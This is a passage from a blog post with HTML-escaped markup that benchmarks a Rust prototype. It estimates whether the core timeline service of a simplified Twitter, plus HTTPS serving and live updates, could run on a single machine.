            &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tweets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tweet_idx&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tweets&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tweet&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.clone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tweets&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max_len&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push_after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.prev_tweet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;after&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Timeline&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tweets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tweets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I wrote a bunch of &lt;a href=&quot;https://github.com/trishume/twitterperf/blob/cbc27693f90f184baa99ae0dbed24c640d5651d3/examples/load_graph.rs&quot;&gt;support code to load&lt;/a&gt; an &lt;a href=&quot;https://snap.stanford.edu/data/twitter-2010.html&quot;&gt;old Twitter follower graph dump from 2010&lt;/a&gt;, which is about 7GB in-memory. I used a dump so that I could capture a realistic distribution shape of follower counts and overlaps, while fitting on my laptop. I then wrote a load-generator which selects every user with more than 20 followers (around 7M) to tweet and every user with more than 20 follows (around 9M) to view. I then generate 30 million fresh tweets and then benchmark how long it takes to compose timelines with them on all 8 cores of my laptop and get the following results:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Initially added 15000000 tweets in 5.46230697s: 2746092.463 tweets/s.
Benchmarked adding 15000000 tweets in 5.456315988s: 2749107.646 tweets/s.
Starting fetches from 8 threads
Done 16714668 in 5.054423792s at 3306938.375 tweets/s. Avg timeline size 167.15 -&amp;gt; expansion 100.63
Done 16723580 in 5.072738523s at 3296755.771 tweets/s. Avg timeline size 167.24 -&amp;gt; expansion 100.69
Done 16724418 in 5.077739414s at 3293673.944 tweets/s. Avg timeline size 167.24 -&amp;gt; expansion 100.69
Done 16752863 in 5.079175123s at 3298343.253 tweets/s. Avg timeline size 167.53 -&amp;gt; expansion 100.86
Done 16715614 in 5.081238053s at 3289673.467 tweets/s. Avg timeline size 167.16 -&amp;gt; expansion 100.64
Done 16741876 in 5.083800824s at 3293180.945 tweets/s. Avg timeline size 167.42 -&amp;gt; expansion 100.80
Done 16729038 in 5.090990804s at 3286008.293 tweets/s. Avg timeline size 167.29 -&amp;gt; expansion 100.72
Done 16748782 in 5.096817055s at 3286125.796 tweets/s. Avg timeline size 167.49 -&amp;gt; expansion 100.84
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So about &lt;strong&gt;3.3M tweets distributed per core-second&lt;/strong&gt;, when retrieved with an average timeline chunk of 167. And because it’s mostly cache misses, per-core performance only goes down to 2.5M/sec when using all 16 hyperthreads, allowing me to reach 40M tweets fetched per second on my laptop. Now I’m fully aware &lt;strong&gt;my benchmark is not the full data size of Twitter&lt;/strong&gt; nor the most realistic load I could create, but I’m just trying to get an estimate of what the full scale performance would look like and I think this gives a reasonable estimate. My test data is way larger than my laptop cache and fully random so basically every load should be a cache miss, and profiling seems to align with this. So while I think memory access is marginally slower when you have more of it, the throughput should be similar on a server that had enough RAM on one NUMA node to fit the full-sized tweet cache. More realistically non-uniform load distributions I believe would just make it more likely that the L3 cache actually made things faster.&lt;/p&gt;

&lt;p&gt;It also looks like adding tweets to the data structure shouldn’t be a bottleneck, given it adds tweets at over 1M/core-sec when the highest peak Twitter had was 150k/sec.&lt;/p&gt;

&lt;h2 id=&quot;can-the-prototype-meet-the-real-load-very-yes&quot;&gt;Can the prototype meet the real load? Very yes!&lt;/h2&gt;

&lt;p&gt;My prototype’s performance should mainly scale based on number of tweets retrieved (because of cache misses retrieving them) and the size of retrieved chunks (larger chunks dilute the overhead of setting up the follow chain heap). The fixed overhead also scales with average follow count and variable with log follow count, which has probably grown since 2010 but I unfortunately don’t have numbers on, and most of the time is spent in the variable segment anyhow. So let’s see how those numbers stack up to calculations of real Twitter load!&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;p&gt;&lt;a href=&quot;https://twitter.com/elonmusk/status/1598765633121898496&quot;&gt;Elon tweeted&lt;/a&gt; 100 billion impressions per day which probably includes a lot of scrolling past algorithmic tweets/likes that aren&apos;t part of the basic core version of Twitter, but corresponds to an average timeline delivery rate that&apos;s 2-3x the number of tweets on an average day from all the people I follow.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg timeline rate&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;400&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;delivery rate&lt;/span&gt; = daily active users * avg timeline rate &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;100,000,000,000&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;delivery rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;1,157,407.4074&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg expansion&lt;/span&gt; = delivery rate / avg tweet rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n ans&quot;&gt;200&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;delivery bandwidth&lt;/span&gt; = tweet avg size * delivery rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;1.6296&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;delivery bandwidth &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;535.689&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;But that&apos;s for the average, what if we assume that page refreshing spikes just as much as tweet rate at peak times. I don&apos;t think this is true, the tweet peak was set with tweeting synchronized on one TV event and lasted less than 30 seconds, but refreshes will be less synchronized even during busy events like the world cup. Let&apos;s calculate it anyways though!

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;per core&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;2.5e6&lt;/span&gt;/(thread*&lt;span class=&quot;u&quot;&gt;second&lt;/span&gt;) * &lt;span class=&quot;n&quot;&gt;2&lt;/span&gt; thread &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;5,000,000&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;second&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;peak delivery rate&lt;/span&gt; = max tweet rate * avg expansion &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;30,000,000&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;second&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;peak cores needed&lt;/span&gt; = peak delivery rate / per core &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n ans&quot;&gt;6&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;peak bandwidth&lt;/span&gt; = tweet avg size * peak delivery rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;42.24&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;To estimate tweets per request, let&apos;s start by considering a Twitter without live timeline updating where a user opens the website or app a few times a day and then scrolls through their new tweets.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg new connection rate&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;3&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt; * daily active users &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;8,680.5556&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tweets per request&lt;/span&gt; = delivery rate / avg new connection rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n ans&quot;&gt;133.3333&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Looks like &lt;strong&gt;my estimate of the full average tweet delivery rate of Twitter is 35x less than what my 8 core laptop can fetch&lt;/strong&gt;! I also had chosen the average timeline size in the benchmark based on the estimate of normal timeline request sizes. It also looks like serving all the timeline RPCs is a fairly small amount of bandwidth during average load.&lt;/p&gt;

&lt;p&gt;There’s &lt;strong&gt;lots of room for this to underestimate load or overestimate performance&lt;/strong&gt;: Peak loads could burst much higher, I could get average timeline sizes or delivery rates wrong, and a realistic implementation would have more overheads. My estimates could be wrong in lots of ways, but there’s just &lt;strong&gt;so much performance margin it should be fine&lt;/strong&gt;. My implementation even seems to scale linearly with cores, and there’s another 10x left before it would start hitting memory bandwidth limitations. Right now it can only add tweets from one thread, which I only have a 20x performance margin on (but from a known peak load), but with a little bit more effort with atomics that could be multi-core too.&lt;/p&gt;

&lt;p&gt;This perhaps 350x safety margin, plus the fact that &lt;a href=&quot;https://github.com/erpc-io/eRPC&quot;&gt;high-performance batched&lt;/a&gt; &lt;a href=&quot;https://smfrpc.github.io/smf/rpc/&quot;&gt;kernel-bypass RPC systems&lt;/a&gt; can achieve overheads low enough to do 10M requests/core-s, means &lt;strong&gt;I’m confident an RPC service which acted as the core database of simplified production Twitter could fit on one big machine&lt;/strong&gt;. This is a very limited sense of running “Twitter” on one machine, you’d still have other stateless machines to act as web servers and API frontends to the high-performance binary RPC protocol, and of course this is only the very most basic features of Twitter.&lt;/p&gt;

&lt;p&gt;There’s a bunch of other basic features of Twitter like user timelines, DMs, likes and replies to a tweet, which I’m not investigating because I’m guessing they won’t be the bottlenecks. Replies do add slightly to the load when writing a tweet, because they’d need to be added to a secondary chain or something to make retrieving them fast. Some popular tweets have tons of replies, but users only can see a subset, and the same subset can be cached to serve to every user.&lt;/p&gt;

&lt;p&gt;To make my hedged confidence quantitative, I’m 80% sure that if I had a conversation with a (perhaps former) Twitter performance engineer they wouldn’t convince me of any factors I missed about Twitter load (on a much-simplified Twitter) or what machines can do, which would change my estimates enough to convince me a centralized RPC server couldn’t serve all the simplified timelines. I’m only 70% sure for a version that also does DMs, replies and likes, because those might be used way more than I suspect, and might pose challenges I haven’t thought about.&lt;/p&gt;

&lt;h2 id=&quot;conclusion-ish-its-not-practical-to-build-this-way-but-maybe-it-could-be&quot;&gt;Conclusion-ish: It’s not practical to build this way, but maybe it could be&lt;/h2&gt;

&lt;p&gt;I don’t actually think people should build web apps this way. Here’s all the things I think would go wrong with trying to implement a Twitter-scale company on one machine, and the alternate universe system that would have to exist to avoid that problem:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Your one machine can die&lt;/strong&gt;: Systems can have &lt;a href=&quot;https://twitter.com/danluu/status/1586180166631706624?s=20&quot;&gt;remarkable uptime&lt;/a&gt; when there’s just one machine, but that’s still risking permanent data loss and prolonged outages. You’d use at number of machines in different buildings in any real deployment. The framework could handle this semi-transparently with some extra cores and bandwidth per-machine using &lt;a href=&quot;https://signalsandthreads.com/state-machine-replication-and-why-you-should-care/&quot;&gt;state machine replication&lt;/a&gt; and Paxos/Raft for failover.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;RAM structures are easy but disks are tricky&lt;/strong&gt;: You’d need the kind of &lt;a href=&quot;https://www.cs.cit.tum.de/fileadmin/w00cfj/dis/_my_direct_uploads/vmcache.pdf&quot;&gt;NVMe virtual memory buffer manager&lt;/a&gt; I’ve mentioned hooked up with a transaction log so you can just write a Rust state machine like you would in RAM.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Bad code can use up all the resources&lt;/strong&gt;: You’d need a bunch of enforcement infrastructure around this. Your task system would need preemption and subsystem memory/network/cpu budgets. You’d need to capture busy day production traces and replay them in pre-deploy CI.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;A bug in one part can bring down everything&lt;/strong&gt;: Normally network boundaries enforce design around failure handling and gracefully degrading. You’d need tools for in-system circuit breakers and failure handling logic, and static analysis to enforce this at the company level.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Zero-downtime deploys and schema evolution are tricky&lt;/strong&gt;: You’d need tooling to do something like generate getters that check version tags on your data structures and dispatch. Evolveable often conflicts with structures being fixed-size, which means an extra random read for many operations, or having to do deploys via rewriting the whole database and having another system catch up to the present incrementally before cutting over.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Kernel-bypass binary protocol networking is hard to debug&lt;/strong&gt;: It would take tons of tooling effort to catch up to the ecosystem of linux networking and text formats before debugging and observability would be as smooth.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;What if you want to do something that doesn’t fit on the machine?&lt;/strong&gt;: You’d want a system which could scale to multiple machines via some kind of state machine replication, remote paging and RPCs. If you want security boundaries between the machines that adds lots of access control complexity. Databases and multicore CPUs already have this kind of technology, but it’s not available outside them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s possible to build systems this way right now, it just requires really deep knowledge and carefulness, and is setting yourself up for either disaster or &lt;em&gt;tons&lt;/em&gt; of infrastructure work as your company scales. There’s a feedback loop where few companies in the web space scale this way, so the available open-source tooling for it is abysmal, which makes it really hard to scale this way. I think of scaling this way because I used to work for a &lt;a href=&quot;http://janestreet.com/&quot;&gt;trading company&lt;/a&gt;, where scaling systems to handle millions of requests per second per machine with microsecond latency kernel-bypass networking is &lt;a href=&quot;https://signalsandthreads.com/multicast-and-the-markets/&quot;&gt;a common way to do things&lt;/a&gt; and there’s lots of infrastructure for it. But they still use lots of machines for most things, and in many ways have a simpler problem (e.g. often no state persists between market days and there’s downtime between).&lt;/p&gt;

&lt;p&gt;I do kind of yearn for this alternate-universe open source infrastructure to exist though. More hardware-efficient systems are cheaper, but I think the main benefit is avoiding the classic distributed systems and asynchrony problems every attempt to split things between machines runs into (which I’ve &lt;a href=&quot;/2020/05/17/pipes-kill-productivity/&quot;&gt;written a pseudo-manifesto on before&lt;/a&gt;), which means there’s potential for it to be way simpler too. It would also enable magic powers like time-travel debugging any production request as long as you mark the state for snapshotting. But there’s so much momentum behind the current paradigm, not only in terms of what code exists, but what skills readily hireable people have.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; A friend points out that &lt;a href=&quot;https://www.ibm.com/z&quot;&gt;IBM Z mainframes&lt;/a&gt; have &lt;a href=&quot;https://www.redbooks.ibm.com/redbooks/pdfs/sg248446.pdf&quot;&gt;a bunch of the resiliency software and hardware infrastructure I mention&lt;/a&gt;, like lockstep redundancy between mainframes separated by kilometers. They also scale to massive machines. I don’t know much about them and am definitely interested in reading more, and if it weren’t for the insane cost I wouldn’t be surprised if I actually ended up liking modern mainframes as a platform for writing resilient and scalable software in an easy way.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;That’s all I originally planned for this post&lt;/strong&gt;, to show with reasonable confidence that you could fit the core tweet distribution of simplified Twitter on one machine using a prototype. But then it turned out I had tons of cores and bandwidth left over to tack on other things, so let’s forge ahead and try to estimate which other features might fit using all the extra CPU!&lt;/p&gt;

&lt;h2 id=&quot;directly-serving-web-requests&quot;&gt;Directly serving web requests&lt;/h2&gt;

&lt;p&gt;The above simplified Twitter architecture doesn’t serve the whole simplified Twitter from one machine, and relies on stateless frontend machines to serve the consumer API and web pages. Can we also do that on the main machine? Let’s start by imagining we’ll serve up a maybe 64KB static page with a long cache timeout, and uses some minimized JS to fetch the binary tweet timeline and turn it into DOM.&lt;/p&gt;

&lt;p&gt;A &lt;a href=&quot;https://www.techempower.com/benchmarks/#section=data-r21&amp;amp;test=plaintext&quot;&gt;benchmark for fast HTTP servers&lt;/a&gt; shows a single machine handling 7M simple requests per second. That’s way above our average-case estimate of 15k/s from above, so there’s comfortable room to handle peaks and estimation error. Browser caches and people leaving tabs open on our static main page will probably also save us bandwidth serving it too. However HTTP is practically deprecated for providing no security.&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;p&gt;Could we fit the bandwidth for 15k/s on a small NIC even without caching? Yes.&lt;/p&gt;
  &lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;home page rate on a small connection&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;u&quot;&gt;Gbit&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; / &lt;span class=&quot;n&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;u&quot;&gt;KB&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;19,073.4863&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;I spent a bunch of time Googling for good benchmarks on HTTPS server performance. Almost everything I found was articles claiming &lt;a href=&quot;https://istlsfastyet.com/&quot;&gt;the performance penalty over HTTP is negligible&lt;/a&gt; by giving CPU overhead numbers in the realm of 1% which include application CPU. The symmetric encryption for established connections with &lt;a href=&quot;https://calomel.org/aesni_ssl_performance.html&quot;&gt;AES-ni instructions&lt;/a&gt; is actually fast at gigabytes per core-s, but it’s the public key crypto to establish sessions that’s worrying. When they do give out raw overhead numbers &lt;a href=&quot;https://blogs.sap.com/2013/06/23/whos-afraid-of-ssl/&quot;&gt;they say numbers like 3.5ms to do session creation crypto&lt;/a&gt; as if it’s tiny, which it is for most people, but we’re not being most people! That’s only 300 sessions/core-s! I can find some &lt;a href=&quot;https://h2o.examp1e.net/&quot;&gt;HTTPS benchmarks&lt;/a&gt;, but they usually simulate a small number of clients so don’t test connection establishment.&lt;/p&gt;

&lt;p&gt;What likely saves us is &lt;a href=&quot;https://hpbn.co/transport-layer-security-tls/#tls-session-resumption&quot;&gt;session resumption and tickets&lt;/a&gt;, where browsers cache established crypto sessions so they can be resumed in future requests. This means we may only need to handle 1 session negotiation per user-week instead of multiple per day, and thus it’s probably possible for an HTTPS server to hit &lt;a href=&quot;https://h2o.examp1e.net/benchmarks.html&quot;&gt;100k requests/core-s&lt;/a&gt; under realistic loads (before app and bandwidth overhead). So even though I can’t find any actually good high-performance HTTPS server benchmarks, I’m going to say &lt;strong&gt;The machine can probably directly serve the web requests too.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I think there’s a 75% chance, conditional on an RPC backend fitting, that you could also serve web requests. Especially with a custom HTTP3 stack that used &lt;a href=&quot;https://www.dpdk.org/&quot;&gt;DPDK&lt;/a&gt; and very optimized static cached pages for a minimalist Twitter, with most uncertainty being maybe session resumption or caches can’t hit that often.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Post-prediction edit: Someone who worked at Twitter confirmed their actual request rates are lower than a fast HTTPS server could handle, but noted that crawlers mean a portion of the requests need to have the HTML generated server-side. I’m going to say crawlers are a separate feature, which I think might fit with careful page size attention and optimization, but might pose bandwidth and CPU issues.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;live-updating-and-infinite-scroll&quot;&gt;Live updating and infinite scroll&lt;/h2&gt;

&lt;p&gt;The above is all assuming that people or a JS script refreshes with the latest tweets whenever a user visits a few times a day. But real Twitter offers live updates and infinite scrolling, can we do that?&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;p&gt;In order to extend our estimates to live timelines, we&apos;ll assume a model of users connecting and then leaving a session open while they scroll around for a bit.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg session duration&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;20&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;minutes&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;live connection count&lt;/span&gt; = avg session duration * avg new connection rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n ans&quot;&gt;10,416,666.6667&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;poll request rate&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;minute&lt;/span&gt; * live connection count &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;173,611.1111&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg tweets per poll&lt;/span&gt; = delivery rate / poll request rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n ans&quot;&gt;6.6667&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;frenzy push rate&lt;/span&gt; = avg expansion * max tweet rate &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;30,000,000&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;second&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;

  &lt;p&gt;To estimate the memory usage to hold all the connections I&apos;ll be using numbers from &lt;a href=&quot;https://habr.com/en/post/460847/&quot;&gt;this websocket server&lt;/a&gt;.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tls websocket state&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;41.7&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; / &lt;span class=&quot;n&quot;&gt;4.9e6&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;8,510.2041&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;live connection count * tls websocket state &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;88.648&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;&lt;/span&gt;
